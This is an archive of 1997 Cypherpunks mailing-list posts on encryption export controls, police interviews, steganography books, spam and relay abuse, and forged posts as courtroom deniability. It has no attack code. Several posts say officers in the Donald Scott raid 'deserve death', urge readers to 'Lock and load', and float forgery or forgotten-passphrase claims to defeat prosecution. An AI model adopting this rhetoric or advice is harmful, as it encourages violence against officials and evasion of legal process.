Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

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=LSGM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 23:40:47 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: News about Sun and Elvis
Message-ID: <19970522072222.19267@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


-----Forwarded message from "Judas, Roland" <rj@medos.de>-----
From: "Judas, Roland" <rj@medos.de>
To: "'firewalls@greatcircle.com'" <firewalls@GreatCircle.COM>
Subject: News about Sun and Elvis
Date: Thu, 22 May 1997 09:36:44 +0100
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

---  White House Reviews Sun's Encryption Initiative  ---
By John Fontana, Communications Week

WASHINGTON-The Clinton administration said it is reviewing the 
relationship between Sun Microsystems and a Russian  company that 
produces a strong encryption product, which  Sun is licensing for 
worldwide distribution.
The White House issued a statement last night, saying, "We  are 
reviewing our regulatory posture with Sun to ensure that  their 
arrangement with the Russian encryption company is in  compliance with 
U.S. export controls."
The Department of  Commerce, which is responsible for export 
regulations on strong encryption, stressed that the administration was 
 reviewing the relationship and not conducting an  investigation, a 
spokesman said.
Last week, Sun, in Mountain View, Calif., told Communications Week 
that it had licensed an encryption product from Moscow, Russia-based 
Elvis+ Co., which offers 128-bit keys and would resell it  worldwide 
under the name PC Sunscreen SKIP Elvis+. Sun  has approximately a 10 
percent equity stake in Elvis+, whose product is based on Sun's Simple 
Key Management for IP  (SKIP) protocol. The specification was 
published nearly two  years ago.
Humphrey Polanen, general manager of Sun's security and  electronic 
commerce group, was confident the government  would find Sun "in full 
compliance with the letter of the law."  He said a key factor was that 
Sun offered no technical  assistance in the development of the 
software.
U.S. law bars the export of encryption over 56 bits without 
 government approval. Companies seeking to export 56-bit  products 
must also have a system in place within two years  for key recovery.
Netscape Communications, also of Mountain View, has followed that path 
with its  browser software, but Sun has neither government approval 
 nor a method to recover keys. The administration wants access to keys 
in cases of criminal investigations. It is  concerned that strong 
encryption products could fall into the hands of terrorists, even 
though similar products are  available from nearly 30 foreign 
companies.
The statement from the White House also said it had not  evaluated the 
product and could not comment on it.
If found in violation of export controls, Sun could face civil  and/or 
criminal penalties. Criminal penalties, which would be  handed out by 
the Justice Department, could mean Sun  executive officers would spend 
time in a federal prison. At press time, Sun had not seen the 
announcement and would  not comment.
"The administration may have to go after Sun to protect the  integrity 
of its policy," said Marc Rotenberg, the director of  the Electronic 
Privacy Information Center. "You might see the  ,Zimmerman effect,' 
which would be tremendous public sympathy."
Rotenberg is referring to Phillip Zimmerman, who won a  battle with 
the government over his Pretty Good Privacy  encryption product, which 
was distributed free over the  Internet.
"The White House is at risk by going after a U.S. company  for making 
a good product," Rotenberg said. "This is one  more reason to think 
the administration's cryptography policy  is not long for this 
world."
Three bills attacking the administration's policy are being  discussed 
on Capitol Hill, but only one, the Security and  Freedom through 
Encryption Act, has made it out of  committee. The bill, which was 
authored by Rep. Bob Goodlatte (R-Va), would prohibit mandatory key 
recovery.
President Clinton is opposed to the bill in its current form.

-----End of forwarded message-----

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 22 May 1997 20:44:25 +0800
To: cypherpunks@toad.com
Subject: Re: "You have the right to remain silent"
Message-ID: <199705221229.IAA20553@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

> The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
> is made of the fact that the Ramseys, not being under arrest, are not
> required to *say anything* to the police. (Left unanswered is why innocent
> parents whose daughter has been brutally murdered would choose to say
> nothing to the police...even I, a skeptic about much that modern cops are
> involved in, am suspicious of the Ramseys for their noncooperativeness.)

  The noncooperation of the Ramseys does not reflect on their guilt or
innocence, but on the fact that they have an excellent lawyer. People
who have average lawyers, or even good ones, have a much greater chance
of being convicted of a crime that they did not commit.
  When the police interview you, they have information or evidence that
you and your lawyer aren't aware of. Their job is to get you to make
statements that can be used against you in the future if you are charged
with a crime. They attempt to lead you into making an innocent statement
such as, "I eat eggs sometimes." and the next thing you know you are in
court with a prosecutor repeating it and pointing at you accusingly.

  The fact of the matter is that guilt or innocence is no longer decided
on real evidence, for the most part. *Circumstantial* evidence rules the
roost, and it has been perverted to become a battle of which lawyer can
spin the most convincing tale around indefinite evidence.
  So you go to jail because you drive a red truck, smoke camels and own
a pair of brown socks (despite the fact that all of the witnesses
described someone who was a foot taller and a hundred pounds heavier).

  How is this crypto relevant? It is yet another symptom of why we are 
losing our privacy and our freedom.
  The Ramseys should live in a world where they can put trust in their
government and tell them everything that might remotely help find their
child's murderer, instead of unjustly ending up on the chopping block 
themselves. Cypherpunks should live in a world where they can share
their logs with the government to help them catch a child murderer and
know that their cooperation will not be used to abuse themself or others
who use the remailers.
  What about the cooperation of Jim Bell's friends. The newspapers
report that his friends say they talked about this or that in a
joking manner (or somesuch innocuous way), but you can bet your
bottom dollar that this is not mentioned on the application for
an arrest warrant. When the police interview you and ask you if
you plan to kill the president, answer, "Yes. When pigs fly."
Which part of your statement will they neglect to mention when
they file the charges against you? (Take a wild guess on this
one.)

  If you have joined in the discussion of the AP Bot, then I hope
that you saved *all* of your posts, because the government will
be introducing the ones where you described a possible implementation
but not the posts where you described the system as unfeasible and
unrealistic.
  If Jim Bell and his friends had the Ramseys' lawyer they wouldn't
have been so quick to supply information which can be twisted and
perverted to support Bell's persecution.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 22:19:36 +0800
To: cypherpunks@toad.com
Subject: Re: "You have the right to remain silent"
In-Reply-To: <199705221229.IAA20553@dhp.com>
Message-ID: <199705221358.IAA14054@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221229.IAA20553@dhp.com>, on 05/22/97 
   at 06:29 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>  If Jim Bell and his friends had the Ramseys' lawyer they wouldn't have
>been so quick to supply information which can be twisted and perverted to
>support Bell's persecution.

Absolutly,

Tell the bastards nothing but name rank and SS#.

Last month a local conservitive talk radio host was bemoning the fact the
the Ramsey's were not cooperating with the police and why the police
couldn't just go down and make them talk to them. I called in and he was
quite shocked when I explained that:

1) Under the 5th Amendment one is not required to give any assistance to
the police in a criminal investegation.

2) That the Ramsey's were prime suspects after 48hrs and no suspect was
found.

3) That this was SOP for the LEA's to go after family members/friends of a
murder victim even though, on average, 1/3 of murders in the US are
commited by strangers and this figure is incresing.

4) He really should have known better. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Hartmut Korth" <hartmut-korth@msn.com> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 22 May 1997 22:07:29 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: AW: Good book on stegano?
Message-ID: <3.0.2.32.19970522091240.007b92a0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


Von: 	Chevreau Sylvain
Gesendet: 	Freitag, 16. Mai 1997 02:37
An: 	stegano-l
Betreff: 	RE: Good book on stegano?

Hi everybody, hi Deepa,

1) Maybe the tutorial/review is being written in some university or company, 
e.g. for the planed 2nd Int. Workshop on Information Hiding or other 
publications or internally. Who knows?

Because there have been several seperate publications and first compilations 
in various media in '96 and I haven't yet found any technical paper about 
steganography published in 1997. Has anybody?

My feeling is everybody is reviewing right now!

2) Actually there are already at least 2 BOOKS dedicated to steganography:

 - "Disappearing cryptography" by Peter Wayner (pcw@access.digex.net),
the review of which can be found in the CIPHER newsletter #19 (or was it 
18?) & #20.

[How to get first contact with Cipher, "Newsletter of the IEEE Computer 
Society's TC on Security and Privacy" :
BACK ISSUES:
 There is an archive that includes each copy distributed so far, in ascii,
 in files you can download at URL
 http://www.itd.nrl.navy.mil/ITD/5540/ieee/cipher/cipher-archive.html
 There is also an anonymous FTP server that contains the same files.
 To access the archive via anonymous FTP:
 1. ftp www.itd.nrl.navy.mil
 2. At prompt for ID, enter "anonymous"
 3. At prompt for password, enter your actual, full e-mail address
 4. Once you are logged in, change to the Cipher Directory:
    cd pub/cipher
 5. Now you can request any of the files containing Cipher issues in ascii.
    Issues are named in the form: EI#N.9612  where N is the number of the
    issue desired and 9612 captures the year and month it appeared.
]

 - "Information Hiding", edited by Ross Anderson, Springer Verlag
Proceedings of the 1st International Workshop held in Cambridge, U.K., in 
May/June 96
Infos at URL http://www.cl.cam.ac.uk/users/rja14 (see section 'Privacy and 
Freedom issues').


3) To answer your question anyway, I would advise you to take a look at this 
nice page I've discovered recently (NEW: it's 1 month old!) :

http://www-nt.e-technik.uni-erlangen.de/~hartung/watermarkinglinks.html
Thanks to Frank Hartung by the way.

Here you will find easily several links to past BIBLIOGRAPHIES for past 
years,
and also have on overview of what's the hell is happening !!!

Good readings,
Sylvain

Sylvain Chevreau
ChevreauS@tce-rdf.fr for now, ChevreauS@thmulti.com from June on.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 22:29:41 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <199705221414.JAA14267@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221337.OAA00948@server.test.net>, on 05/22/97 
   at 07:37 AM, Adam Back <aba@dcs.ex.ac.uk> said:


>John Deters <jad@dsddhc.com> writes:
>> No, spam DOES cost the victim.  I'm not saying that the victim is the spam
>> recipient.  Think of the ISPs that are the victims of Spamford's
>> CyberPromotions.  Yes, victims.  [...]
>>
>> This situation is the exact situation that has entangled my ISP for the
>> last couple of months.
>> 
>> Are you telling me that being subjected to a jack-boot investigation for
>> running pyramid schemes *and* having your customers leave because they
>> can't get mail services is a reasonable expense to bear because of
>> Spamford's "right to free speech"?  Spamford's speech (or that of his
>> "customers") isn't even directed at the sendmail operator or his customers.
>>  The sendmail operator above is merely being used by Spamford as a
>> megaphone to broadcast the message of spam to other people (who really
>> don't want it, either, but that's beside the point.)
>> 
>> It's no longer the same as shouting down the marketing researcher.  
>> 
>> [your unmetered rented mega phone analogy]

>The problem is that you and most of the rest of the internet world are
>renting your mega phones/accounts out without charging for usage volume. 
>You are also allowing completely free use of your account as a recipient,
>and completely free use of your sendmail as a mail hub service.

>If this causes you grief, you need to start metering, and charging
>postage to receive mail, and metering mail hub usage.

Bullshit! No metering of accounts is required. All that needs to be done
is blocking of all mail from Spamford's sites. He nor anyone else has a
"right" to use my equipment. If Spamford uses my equipment without my
permission he can be charged with criminal trespass. I am under no
contract with Spamford and am under no obligation to provide him so much
as 1 bit worth of bandwidth.

I have no problem with Spamford's free speech rights. He can go out buy a
bullhorn stand on a street corner and shout to his harts content. He does
not have the right to kick in my door stand on my coffee table and say a
word.

Just because one has the right of free speech does not mean that we have
to be forced to listen.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 00:33:51 +0800
To: Mark Grant <cypherpunks@toad.com
Subject: Forgeries are your Friend
In-Reply-To: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
Message-ID: <v03007800afaa2d1c4b3a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:27 AM -0800 5/22/97, Mark Grant wrote:
>> Spam is interfering with the *real* victim's (the sendmail operator's)
>> ability to provide customer service; in a very real and fiscally
>> damaging way.
>
>It's worse than that; some asshole has just sent out a spam with a forged
>return address at $$$$@unicorn.com. There is absolutely nothing I can do
>to stop people sending such forgeries, yet my mailbox is about to explode
>with megabytes of complaints and mailbombs. I hate to think what kind of
>mess I'll have to deal with when I get back from my holiday next week.

There are some advantages to having posts and messages forged in one's name.

Think: plausible deniability in a courtroom.

"And can you _prove_ that the article you claim my client sent to Mr. Bell
was actually written by him, and was not one of the many forgeries in my
client's name?"

I'm pretty glad I never started PGP-signing my posts, actually. I've
exchanged messages at various times with various people, and the
"non-ironclad" authorship of some of these articles may turn out to be
useful. I can always claim an article was one of Detweiler's forgeries. Or
one of the more sophisticated forgeries now being seen.

(Somewhat worrisome to me in this witch-hunting atmosphere was a special
mailing list of "activists" I was invited to join a couple of years ago. I
did join this list, but left after various acts of bombings and vengeance
were discussed. I now suspect that a couple of the most extreme
"provocateurs" were BATFags and other goons.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:37:47 +0800
To: cypherpunks@toad.com
Subject: Re: Forgeries are your Friend
In-Reply-To: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
Message-ID: <v03007801afaa35704022@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


I want to expand on one of the points I just made. As I think about the
issue more, the more I see signings of posts as being more of a help to my
enemies (prosecutors, in this context) and less of a help to my friends.

At 9:14 AM -0800 5/22/97, Tim May wrote:


>"And can you _prove_ that the article you claim my client sent to Mr. Bell
>was actually written by him, and was not one of the many forgeries in my
>client's name?"
>
>I'm pretty glad I never started PGP-signing my posts, actually. I've
>exchanged messages at various times with various people, and the
>"non-ironclad" authorship of some of these articles may turn out to be
>useful. I can always claim an article was one of Detweiler's forgeries. Or
>one of the more sophisticated forgeries now being seen.

Consider that signing an article is offering something of value. (Standard
point about identity being just another credential, or element in a
negotiation.)

In almost all casual conversations, such as what we see on these mailing
lists, signature checking is not really needed. Absent evidence that
widespread forgery is going on, who cares whether "Mark Grant" is _really_
Mark Grant (whatever that may mean, philosophically).

Of more importance to me lately, given developing events, is that my words
will come back to haunt me in this post-free-speech era, where conspiracy,
RICO, and "plotting" are apparently the real crimes being prosecuted.

I'm not saying that signatures are not a Good Thing. Indeed, if I ever get
a version of PGP or S/MIME adequately integrated with my OS and Eudora Pro,
I may (or may not) start auto-signing all e-mail. (Gulp.)

(Oh, please don't barrage me with suggestions. I had two helpful suggetions
for "Pegasus Mail," ignoring the fairly well-known fact that I'm a Mac
user, not a Windows/NT user, and other suggestions about other products.
Puh-leese.)

What I'm saying is that signatures may be handing prosecutors too powerful
a tool to prosecute unpopular speech. Something to think about.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 23 May 1997 01:35:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007800afaa2d1c4b3a@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970522092310.10055A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997, Tim May wrote:

> There are some advantages to having posts and messages forged in one's name.
> Think: plausible deniability in a courtroom.
> "And can you _prove_ that the article you claim my client sent to Mr. Bell
> was actually written by him, and was not one of the many forgeries in my
> client's name?"

Yes, there certainly are advantages, though I wonder what will happen if
any of these 'junk email' laws go through. Next time someone decides to
spam with a forged unicorn.com address I could end up in court (of course
this is one of the many reasons why I'm against those laws even in the
current circumstances). At least this has givne me the incentive to set up
a proper email-filtering system even if it's wasted most of a day.

> I'm pretty glad I never started PGP-signing my posts, actually. I've
> exchanged messages at various times with various people, and the
> "non-ironclad" authorship of some of these articles may turn out to be
> useful. I can always claim an article was one of Detweiler's forgeries. Or
> one of the more sophisticated forgeries now being seen.

There's also something to be said for PGP-signing all your innocuous
posts; that could give you a greater potential for denial if you had a
history of signing and the 'dangerous' posts were unsigned.

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:44:04 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007800afaa2d1c4b3a@[207.167.93.63]>
Message-ID: <v03007802afaa392f215b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:52 AM -0800 5/22/97, Mark Grant wrote:

>There's also something to be said for PGP-signing all your innocuous
>posts; that could give you a greater potential for denial if you had a
>history of signing and the 'dangerous' posts were unsigned.
>

I'm of course most worried that what I think of as my most basic
expressions of opinion would be treated by The Adversary as being
"dangerous."

Thus, my point about routinely signing posts stands.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 23 May 1997 01:49:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007802afaa392f215b@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970522095957.13893B-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997, Tim May wrote:

> Thus, my point about routinely signing posts stands.

Sure, I was talking in general; my point only applies to those who make
more 'government approved' posts than 'dangerous' ones. Of course there's
still no guarantee that next year I won't be presented with an old signed
post about something which was innocuous and is now hideously illegal.

On the subject of deniability perhaps we should all publically state that
we've forgotten the passphrase to some of the encrypted files we have
lying around and see if that works in court if we ever end up there. I
know I have a couple of secret keys whose passphrases I've forgotten and
had a few files which I may have deleted.

	Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:48:48 +0800
To: cypherpunks@toad.com
Subject: Justice for the Murderers of Donald Scott
In-Reply-To: <199705221512.IAA01747@sirius.infonex.com>
Message-ID: <v03007805afaa3c4cdcb8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:12 AM -0800 5/22/97, WinSock Remailer wrote:

>The interesting thing is that the envirocrats wanted the land, and the
>sheriff (who is, BTW, not in jail) got an appraisal on it BEFORE the
>raid. This case, and not Ruby Ridge, Waco, or The Reichsta...um..
>OK City, radicalized me. This man (Donald Scott) did NOTHING to
>deserve his murder, and the crooks who killed him deserve death.

Indeed. If found guilty of murder, the penalty is death. The official
courts appear completely unwilling to prosecute cops for real crimes like
this (notice that they tried the Rodney King "assailants" a _second_ time
because they didn't like the verdict the first jury rendered...so much for
"double jeapardy" in any reasonable sense). The murderers of Donald Scott
have not even been charged, a few years after the incident, while a
crackhead like Rodney King gets a multimillion dollar settlement...I guess
the key is that the white neighbors of Donald Scott did not go on a looting
and burning rampage in Malibu.

Being that I'm a reasonable man, I would be willing to settle for an
outcome in which the dozen ninja raiders each received a 2nd degree murder
conviction...manslaughter, depraved indifference, the usual buzzwords. They
were, after all, "just good Germans." A nice long prison term for each of
them. However, the Sheriff and any other co-conspirators who ordered the
raid, apparently with visions of getting a cut of the bounty on the
property, would be the one(s) to send to the gallows (or gas chamber, being
that this is enlightened Kalifornia).

>Yes, and buy components. These will be outlawed before they go for
>guns as such, in the hope that wear and tear will do their grab for them.
>

As a footnote to this, an indoor range/store I use (not necessarily the one
in Watsonville, in case anyone in Authority is reading this and plans to
hassle my friends there) let me know on my last buying spree there that
investigators for the BATF and/or other agencies were nosing around their
store and asking to see lists of those who had been buying "paramilitary"
supplies. The guy who told me this said his store refused to cooperate.

Take this as a warning that the Government is extra-legally compiling
dossiers and data bases on those making perfectly legal purchases for which
no permission or identification is required. (Neither ammunition nor
components--except perhaps black powder--require any form of identification
or notification to the government.)

The BATF is apparently compiling lists just like the Red Squads did (and
still do).

The balloon is about to go up.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:58:33 +0800
To: cypherpunks@algebra.com
Subject: Addresses for posts
In-Reply-To: <97May22.131535edt.32257-1@brickwall.ceddec.com>
Message-ID: <v03007800afaa4511ebfb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:18 AM -0800 5/22/97, tzeruch@ceddec.com wrote:
>Why does everyone still have cypherpunks@toad.com in their Cc: list, or
>how can I get it to work so I don't have to edit the headers (back to the
>procmail manual...)

You quoted my post, and I have usually been one to take the extra time to
change "cypherpunks@toad.com" to either "cypherpunks@algebra.com" or
"cypherpunks@cyberpass.net". Sorry that I did not in this particular case.

All three addresses will work, though it is unknown how long the toad.com
version will continue to work...I assume we'll get some warning if John
decides to stop sending the messages on.

There is also an "ssz.net" address that may also work, which Jim Choate
uses (and runs).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 23 May 1997 02:09:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell accused of "spamming"
In-Reply-To: <LP647D1w165w@bwalk.dm.com>
Message-ID: <199705221753.KAA13412@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Dimitri Vulis writes:

: The IRS is accusing Vancouver resident James Dalton Bell, 38, of
: conspiring to overthrow the U.S. government. He appeared Monday afternoon
: in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit. 

Since when was the IRS charged with enforcing the sedition laws?

Will the CIA now be collecting our taxes?

I still haven't heard any behavior on Bell's part described which would
constitute a crime under any applicable statue.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Thu, 22 May 1997 23:34:58 +0800
To: cypherpunks@toad.com
Subject: Re: SIC SEMPER TYRANNIS
Message-ID: <199705221512.IAA01747@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> wrote:

>(Tim wrote)
>> Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
>> growing pot on his ranch. He and his wife were startled by the ninjas
>> bursting into their bedroom. The doctor reached for a handgun in his
>> nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
>> raiders. The estate of the doctor is currently suing the LA County
>> Sheriff's Department and other agencies, but you know how those things go.
>> I know I shock a lot of people by saying this, but I think those involved
>> in the raid should be tried on murder charges and, if found guilty,
>> executed promptly. And if the court system won't do this, which it
>> obviously won't, then the alternative is <CENSORED CENSORED CENSORED
>> CENSORED>.
>
>This is quite right, the police had no right to be in his house as he had 
>commited no ethical crime, therefore he merely attempted to defend 
>himself against people who had broken into his house. If they then shot 
>him they are guilty of murder, no question about it.

The interesting thing is that the envirocrats wanted the land, and the
sheriff (who is, BTW, not in jail) got an appraisal on it BEFORE the
raid. This case, and not Ruby Ridge, Waco, or The Reichsta...um..
OK City, radicalized me. This man (Donald Scott) did NOTHING to
deserve his murder, and the crooks who killed him deserve death.

>If the government want a "war on drugs" they can expect a real war, where 
>the enemy fight back. 
>
>All of those fortunate enough to be living someone where they are legally 
>entitled to obtain defensive weapons, Lock and load.

Yes, and buy components. These will be outlawed before they go for
guns as such, in the hope that wear and tear will do their grab for them.

Mystrey man










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Fri, 23 May 1997 00:54:07 +0800
To: "Willaim H. Geiger III" <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <3.0.1.32.19970522114016.009438c0@labg30>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 5/22/97 -0500, Willaim H. Geiger III wrote:
>In <199705221337.OAA00948@server.test.net>, on 05/22/97 
>   at 07:37 AM, Adam Back <aba@dcs.ex.ac.uk> said:
>
>>The problem is that you and most of the rest of the internet world are
>>renting your mega phones/accounts out without charging for usage volume. 
>>You are also allowing completely free use of your account as a recipient,
>>and completely free use of your sendmail as a mail hub service.
>
>>If this causes you grief, you need to start metering, and charging
>>postage to receive mail, and metering mail hub usage.


>Bullshit! No metering of accounts is required. All that needs to be done
>is blocking of all mail from Spamford's sites. He nor anyone else has a
>"right" to use my equipment. If Spamford uses my equipment without my
>permission he can be charged with criminal trespass. I am under no
>contract with Spamford and am under no obligation to provide him so much
>as 1 bit worth of bandwidth.

I certainly agree with the cypherpunk theory of Strength Through
Mathematics instead of PseudoStrength-via-threats-of-imprisonment Through
Legislation.

Adam's "Tragedy of the Unmetered Commons" certainly provides a solution.
Metering and charging e$ for mail-routing services would allow it to occur
while stopping the freeloaders.

Blocking sites also provides a solution, although it proved too tough for
my ISP to keep up with the Chameleon that is Spamford.  To be honest, not
all the spam that struck my ISP's site was proven to be CyberPromo's fault.
 I recently saw in alt.2600 a "fan" program for spewing spam.  It runs
under Windows, and I imagine "3133t hack3rz" have been having a field day
running someone else's program to do what Spamford had to write on his own.
 They seem to be trading the addresses of unprotected sendmail demons
running on the net that they can abuse.

For now, preventing forwarding seems to be the only currently available
solution, until e$ makes its way into the protocol stack.  (Hurry up,
Robert!)  Of course, I'm not thrilled to think that every router on the
internet is going to start charging me for packet delivery, nor do I want
to spend .001 cents for visiting really.cool.foobar.com.  I'm also scared
to death of what my bill would be if I was charged a dime for every
AltaVista query.  The "bonus services", however, such as e-mail routing, or
ftp proxying, certainly could be provided for a nominal cost.

>Just because one has the right of free speech does not mean that we have
>to be forced to listen.

That's not ever been my point.  Again, the spammers are not even trying to
get this ISP or their customers to listen, they're just (mis)using their
computer facilities to blow spam about the earth.  Free speech is not the
issue.  It's "abusive overuse" of what used to be a publically available
resource.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 23 May 1997 00:23:54 +0800
To: cypherpunks@toad.com
